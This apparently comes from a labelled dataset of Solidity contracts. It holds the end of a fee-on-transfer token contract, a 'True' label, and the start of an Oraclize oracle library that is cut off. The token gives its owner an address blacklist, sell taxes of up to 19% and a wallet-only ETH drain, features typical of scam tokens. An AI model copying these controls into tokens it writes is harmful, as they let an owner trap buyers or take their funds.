function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9);
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
True
|
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pragma solidity ^0.4.11;
// <ORACLIZE_API>
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
